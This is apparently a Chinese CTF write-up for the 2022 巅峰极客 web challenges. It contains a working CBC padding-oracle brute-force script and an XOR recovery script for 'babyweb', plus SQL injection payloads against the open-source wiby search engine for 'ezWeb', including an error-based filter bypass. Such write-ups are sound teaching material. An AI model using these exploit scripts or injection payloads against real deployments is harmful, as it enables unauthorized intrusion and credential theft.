巅峰极客2022wp

巅峰极客2022

web

babyweb

image-20220817191658427

提示cbc padding oracle攻击,这是一个服务端的密码学漏洞,buu上做过原题[NPUCTF2020]web狗

原理简单讲一下,这道题的逻辑大概就是,cookie传入一个admin_password的base64值,然后后端进行解密,因为是采用了CBC模式,所以可以构造这个base64的值进行爆破中间值。具体的爆破原理可以看文章https://www.cnblogs.com/ntestoc/p/11044433.html

这道题是采用的PKCS7,也就是16字节为一组进行分组,题目给的password是64字节的,其中前16个字节是初始IV偏移,然后利用我写的exp一组一组爆破就行了,爆破需要时间,这是非常恶心的一点

# -*- coding: utf-8 -*-
# @Time : 2022/8/17 14:11
# @Author : pysnow
import requests
import time
import base64

enc = base64.b64decode("KBLR73Xs+27+jqaDJxxn5m4dhT0JKrZO7ZrdTDKwY4MWT99pwDAr+Doinyc7Z7aQcWMIJXj1X26zfQIzsKJmpQ==")
iv = enc[:16]
a = enc[16:32]
b = enc[32:48]
c = enc[48:64]
N = 16
middle = b""
m = b''
jwt = '; session=eyJhZG1pbl9wYXNzd29yZCI6IktCTFI3M1hzKzI3K2pxYURKeHhuNW00ZGhUMEpLclpPN1pyZFRES3dZNE1XVDk5cHdEQXIrRG9pbnljN1o3YVFjV01JSlhqMVgyNnpmUUl6c0tKbXBRPT0iLCJpc2FkbWluIjpmYWxzZX0.Yvyqfg.rne4FOqd4fwNXCQxvbDkQq7iTCE'
url = 'http://eci-2ze5c6hgy29ykascmvi4.cloudeci1.ichunqiu.com/login'


def xor(a, b):
    return b"".join([byte((a[i] ^ b[i])) for i in range(0, len(a))])


def byte(key):
    return key.to_bytes(1, 'big')


for step in range(1, N + 1):
    padding = byte(step) * (step - 1)
    print("爆破的最后{}位".format(step))
    for i in range(0, 256):
        # print(i)
        new_iv = byte(0) * (N - step) + byte(i) + xor(padding, middle)
        data = {
            "username": "admin", "passxxxx": "xxmin"
        }
        payload = new_iv + a
        # print(len(payload))
        headers = {
            "Cookie": "admin_password=" + base64.b64encode(payload).decode() + jwt
        }
        # print(base64.b64encode(payload).decode())
        r = requests.post(url=url, data=data, headers=headers)
        time.sleep(0.01)
        # print(i, r.text)
        if r.text == "False":
            print(i, r.text)
            middle = xor(byte(i), byte(step)) + middle
            print(middle)
            break

注意修改的一点

payload = new_iv + a

比如说你要爆破第一组就这么写

要爆破第二组就如下方式写

payload = a + new_iv + b

理论上是可以只写两组的,没试过,我感觉应该可以

然后将爆破得到的中间值跟前一组的密文(也就是偏移)进行异或一下就得到明文

下面是异或脚本

# -*- coding: utf-8 -*-
# @Time : 2022/8/17 17:29
# @Author : pysnow
# mid = b" z\xe9^\xcc<'\xf46.\x93+7k\xba\x9c"
# mid = b'X)\xa8\x05<K\x83c\xd4\xa3\xe5-\x02\xd1\x06\xe5'
mid = b'Lp\xe1\xdeF\xd8\xc8\x0f\xd3\xbb\x96\xb4\x131S\x80'
// mid为三次中间值
iv = b"(\x12\xd1\xefu\xec\xfbn\xfe\x8e\xa6\x83'\x1cg\xe6"
b = b'\x16O\xdfi\xc00+\xf8:"\x9f\';g\xb6\x90'
a = b'n\x1d\x85=\t*\xb6N\xed\x9a\xddL2\xb0c\x83'


def xor(a, b):
    return b"".join([byte((a[i] ^ b[i])) for i in range(0, len(a))])


def byte(key):
    return key.to_bytes(1, 'big')


print(xor(mid, iv))

最后爆破出密码为db01343a-5074-4f64-85a5-998a0aef6567\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c

admin使用db01343a-5074-4f64-85a5-998a0aef6567密码登陆得到flag

image-20220817192658895

ezWeb

下载附件可以看到flag分为两部分放在了flag1和flag2表里面

#!/bin/bash

export FLAG1="flag{this_is_a"
export FLAG2="_test"
mysql -u root wiby -e "create table flag1 (flag text); insert into flag1 values ('$FLAG1'); grant select on flag1 to 'approver'@'localhost';" && \
mysql -u root wiby -e "create table flag2 (flag text); insert into flag2 values ('$FLAG2'); grant select on flag2 to 'crawler'@'localhost';"
export FLAG1="flag{flag_not_here}"
export FLAG2="flag{flag_not_here}"
rm -rf /flag.sh

而且赋予了不同的权限

robots.txt文件给出了账号密码admin/admin888

在github上找到该项目,查看issue发现这个存在历史漏洞,sql注入和csrf

因为给了admin密码,那就不需要再通过csrf获取密码了

https://github.com/wibyweb/wiby/issues/1

有两个地方存在注入点,直接给出我的exp,第一处特别简单,也没啥过滤啥的,第二出过滤了select,可以利用mysql8的性质配合报错注入进行bypass

http://123.56.45.214:27423/tags/tags.php
url=-1"union select flag from `flag2`%23
http://123.56.45.214:27423/review/review.php
updatable1=1&worksafe1=on&crawldepth1=&crawlpages1=&crawltype1=0&startid=1&endid=0/**/and/**/extractvalue(1,concat(0x5c,(table/**/flag1)))
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Pysnow

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值